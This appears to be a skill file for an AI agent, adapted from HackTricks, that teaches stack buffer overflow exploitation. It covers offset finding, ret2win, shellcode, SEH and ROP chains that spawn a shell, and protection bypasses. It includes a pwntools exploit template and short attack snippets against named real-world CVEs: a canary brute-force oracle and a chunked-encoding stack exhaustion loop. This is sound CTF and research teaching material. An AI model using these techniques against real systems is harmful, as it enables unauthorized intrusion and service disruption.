Hacktricks-skills stack-overflow-exploitation
How to analyze and exploit stack overflow vulnerabilities in binary programs. Use this skill whenever the user mentions stack overflows, buffer overflows, EIP/RIP control, return address manipulation, CTF binary exploitation, or needs help finding offsets and crafting exploits for vulnerable programs. This includes ret2win, shellcode placement, ROP chains, and analyzing real-world CVEs with stack-based vulnerabilities.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/binary-exploitation/stack-overflow/stack-overflow/SKILL.MDStack Overflow Exploitation
A skill for analyzing and exploiting stack overflow vulnerabilities in binary programs.
What is a Stack Overflow
A stack overflow occurs when a program writes more data to the stack than allocated, overwriting adjacent memory including:
- Saved instruction pointer (EIP/RIP) - controls where execution returns
- Saved base pointer (EBP/RBP) - stack frame reference
- Local variables - can be manipulated for logic bypasses
This happens with unsafe functions that lack bounds checking:
,strcpy
,strcat
,sprintf
(always vulnerable)gets
,fgets
,read
(vulnerable if length > buffer size)memcpy
Finding Stack Overflow Offsets
Step 1: Confirm the vulnerability exists
Send a large input of
As and look for a crash with 0x41414141 in registers:
python3 -c 'print("A"*1000)' | ./vulnerable_binary
A segmentation fault with EIP/RIP =
0x41414141 confirms the overflow.
Step 2: Find the exact offset to EIP/RIP
Use a De Bruijn sequence - a cyclic pattern where every n-byte subsequence appears exactly once. This lets you find the offset by searching for the value that overwrote EIP.
With pwntools:
from pwn import * # Generate pattern pattern = cyclic(1000) # After crash, find the EIP value (e.g., 0x6161616c) eip_value = p32(0x6161616c) offset = cyclic_find(eip_value) print(f"Offset to EIP: {offset}")
With GEF (GDB plugin):
# Generate pattern pattern create 200 # After crash, search for the offset pattern search $eip pattern search "avaaawaa" # or any substring from the crash
Exploitation Techniques
Ret2Win
When a binary contains a hidden "win" function that's never called:
- Find the offset to overwrite EIP/RIP
- Find the address of the win function (ASLR usually disabled)
- Overwrite return address with the function's address
Payload structure:
[padding to offset][address of win function]
Stack Shellcode
Place shellcode on the stack and redirect execution to it:
- Find offset to EIP/RIP
- Place shellcode in the buffer (after padding, before return address)
- Overwrite EIP/RIP with address of shellcode location
Payload structure:
[padding][shellcode][padding][address of shellcode]
Note: Requires executable stack (NX disabled). Use ROP if NX is enabled.
Windows SEH Overflow (32-bit)
On Windows, overflow the Structured Exception Handler chain:
- Overwrite nSEH (next SEH) with a short jump (e.g.,
)\xeb\xfe - Overwrite SEH pointer with a
gadgetPOP POP RET - Place shellcode before nSEH
Payload structure:
[padding][nSEH: short jmp][SEH: POP POP RET][shellcode]
ROP (Return-Oriented Programming)
Bypass NX (non-executable stack) by chaining existing instructions:
- Find gadgets ending in
(e.g.,RET
)pop rdi; ret - Build a chain to set up function calls
- Call
or similarsystem("/bin/sh")
Common ROP chain for
:system("/bin/sh")
[padding] [address of pop rdi; ret] [address of "/bin/sh" in binary] [address of system()] [address of exit()]
Real-World Exploitation Patterns
Delimiter-Driven Multi-NUL Placement
When a parser uses delimiters (like
:) and adds NUL terminators:
- Each delimiter restarts parsing and adds a trailing NUL
- Use multiple overlong tokens to place NUL bytes at different offsets
- Critical for non-PIE binaries with addresses containing NUL bytes
Example (Grandstream CVE-2026-2329):
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:BBBBBBBBBBBBBBBBBBBBB:CCCCCCCCCCCCCCCCCCCC:DDDDDDDDDDD:EEE
Crash-Oracle Bruteforcing
When a service forks per request (same canary/stack layout):
- Use HTTP status code as oracle (200 = success, 502/crash = failure)
- Brute-force each byte serially
- Recover canary, stack pointer, and library base addresses
Example (Synology CVE-2025-12686):
def bf_next_byte(prefix): for guess in range(0x100): if send_request(prefix + bytes([guess])).status_code == 200: return bytes([guess]) raise RuntimeError("oracle lost sync")
Chunked Transfer-Encoding Amplification
Force unbounded stack allocation via HTTP chunked encoding:
- Each chunk creates internal buffer segments
- Server allocates stack memory per segment
- Thousands of small chunks exhaust the stack
Example (NVIDIA Triton CVE-2025-23310):
for _ in range(523_800): s.send(b"1\r\nA\r\n") # 6-byte chunk → 16-byte stack alloc
Common Protections and Bypasses
| Protection | What it does | Bypass |
|---|---|---|
| ASLR | Randomizes memory addresses | Info leak + brute force, or disable |
| NX/DEP | Marks stack non-executable | ROP chains |
| Stack Canary | Random value before return address | Leak canary, or overflow past it |
| PIE | Position-independent executable | Leak base address |
Workflow Checklist
When analyzing a stack overflow:
- Confirm vulnerability - Send large input, check for crash
- Find offset - Use De Bruijn sequence with pwntools or GEF
- Check protections - Run
or equivalentchecksec - Choose technique:
- No protections → simple shellcode
- NX only → ROP chain
- Canary → leak or brute force
- ASLR/PIE → info leak needed
- Craft payload - Padding + exploit data + return address
- Test and iterate - Debug with GDB, adjust offsets
Tools Reference
- pwntools - Python exploitation framework
- GDB + GEF - Debugging with pattern generation
- checksec - Check binary protections
- objdump/readelf - Find function addresses and gadgets
- ROPgadget - Find ROP gadgets in binaries
Example Exploit Template
from pwn import * # Connect to target p = process('./vulnerable') # or remote('host', port) # Find offset (run once, then hardcode) # pattern = cyclic(1000) # p.sendline(pattern) # p.wait() # offset = cyclic_find(crash_eip_value) offset = 72 # Example offset win_addr = 0x08048500 # Address of win function # Craft payload payload = b"A" * offset payload += p32(win_addr) # 32-bit # payload += p64(win_addr) # 64-bit # Send exploit p.sendline(payload) p.interactive()
When to Use This Skill
Use this skill when:
- You're working on a CTF binary exploitation challenge
- You need to analyze a stack overflow vulnerability
- You're crafting an exploit for a vulnerable program
- You need to understand ret2win, shellcode, ROP, or SEH techniques
- You're researching real-world CVEs with stack-based vulnerabilities
- You need help finding offsets or understanding protection bypasses